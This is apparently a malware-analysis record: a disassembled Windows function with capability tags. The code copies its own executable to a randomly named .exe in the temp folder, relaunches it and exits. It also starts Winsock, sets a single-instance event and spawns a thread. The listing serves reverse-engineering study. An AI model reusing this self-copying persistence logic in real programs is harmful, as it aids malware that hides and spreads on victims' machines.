Function at 0x41cae0
Capabilities:
Copy file
Create process on windows
Create thread
Get common file path
Initialize winsock library
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1030
call fcn.0040ea30
mov eax, dword [0x42b044]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [0x42d778], eax
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0
push 0
push connect
push 0
push connect
push 0xcf0000
push 0x42d6b0
push 0x42d5e8
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [ebp - 0x7c0], eax
cmp dword [ebp - 0x7c0], 0
jne 0x41cb44
xor eax, eax
jmp 0x41ced1
mov word [ebp - 0xbd8], 0
push 0x206
push 0
lea edx, [ebp - 0xbd6]
push edx
call fcn.004012f0
add esp, 0xc
mov word [ebp - 0x9d0], 0
push 0x206
push 0
lea eax, [ebp - 0x9ce]
push eax
call fcn.004012f0
add esp, 0xc
mov word [ebp - 0x7b8], 0
push 0x206
push 0
lea ecx, [ebp - 0x7b6]
push ecx
call fcn.004012f0
add esp, 0xc
mov word [ebp - 0x3a0], 0
push 0x206
push 0
lea edx, [ebp - 0x39e]
push edx
call fcn.004012f0
add esp, 0xc
mov word [ebp - 0x5b0], 0
push 0x206
push 0
lea eax, [ebp - 0x5ae]
push eax
call fcn.004012f0
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x9d0]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x42900c
push 0x42e1b8
call fcn.004013e0
add esp, 8
test eax, eax
je 0x41cd1a
mov dword [ebp - 0xde8], 0
mov dword [ebp - 0xff4], 0x104
mov word [ebp - 0xff0], 0
push 0x206
push 0
lea edx, [ebp - 0xfee]
push edx
call fcn.004012f0
add esp, 0xc
mov word [ebp - 0xde0], 0
push 0x206
push 0
lea eax, [ebp - 0xdde]
push eax
call fcn.004012f0
add esp, 0xc
push 0x208
push 0
lea ecx, [ebp - 0x7b8]
push ecx
call fcn.004012f0
add esp, 0xc
lea edx, [ebp - 0x7b8]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x208
push 0
lea eax, [ebp - 0x5b0]
push eax
call fcn.004012f0
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.0040148c
add esp, 4
lea ecx, [ebp - 0x5b0]
push ecx
push 7
push 6
call fcn.0041abe0
add esp, 0xc
lea edx, [ebp - 0x5b0]
push edx
lea eax, [ebp - 0x7b8]
push eax
push str._s_s.exe
lea ecx, [ebp - 0x7b8]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea edx, [ebp - 0x7b8]
push edx
lea eax, [ebp - 0x9d0]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 1
push 0
push 0x429028
lea ecx, [ebp - 0x7b8]
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea edx, [ebp - 0x198]
push edx
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [ebp - 0x3a4], 0
mov dword [ebp - 0x7c4], 0
push 1
push 0x42df38
call fcn.0040fba0
add esp, 8
mov dword [ebp - 0x3a4], eax
cmp dword [ebp - 0x3a4], 0
jne 0x41ce1b
mov word [ebp - 0x1030], 0
push 0x3a
push 0
lea eax, [ebp - 0x102e]
push eax
call fcn.004012f0
add esp, 0xc
lea ecx, [ebp - 0x1030]
push ecx
call fcn.0041b950
add esp, 4
lea edx, [ebp - 0x1030]
push edx
push 0x42e0e0
call fcn.004013c4
add esp, 8
push 0x429030
push 0x42df3c
call fcn.00401030
add esp, 8
mov word [0x42dfbc], 0x51
push 0x42904c
push 0x42dfbe
call fcn.00401050
add esp, 8
push 0x429058
push 0x42dfde
call fcn.00401030
add esp, 8
mov word [0x42e05e], 0x2b66
lea eax, [ebp - 0x1030]
push eax
push 0x42e0c0
call fcn.004013c4
add esp, 8
push 0x429074
push 0x42e0c0
call fcn.0040139a
add esp, 8
mov ecx, dword [0x42c634]
mov dword [0x42e100], ecx
call fcn.0041c8c0
lea edx, [ebp - 0x5b0]
push edx
call fcn.0041b950
add esp, 4
lea eax, [ebp - 0x5b0]
push eax
push 0x42e138
call fcn.004013c4
add esp, 8
push 0x42e138
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov dword [ebp - 0x7bc], eax
cmp dword [ebp - 0x7bc], 0
je 0x41ce75
mov ecx, dword [ebp - 0x7bc]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x41ced1
push 0x42e138
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x7bc], eax
cmp dword [ebp - 0x7bc], 0
jne 0x41ce99
xor eax, eax
jmp 0x41ced1
push 0x42e5d0
call fcn.0041c950
add esp, 4
mov edx, dword [0x42e104]
mov dword [0x42e5d8], edx
push 0
push 0
push 0
push 0x41b6b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x42c638], eax
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004012d2
mov esp, ebp
pop ebp
ret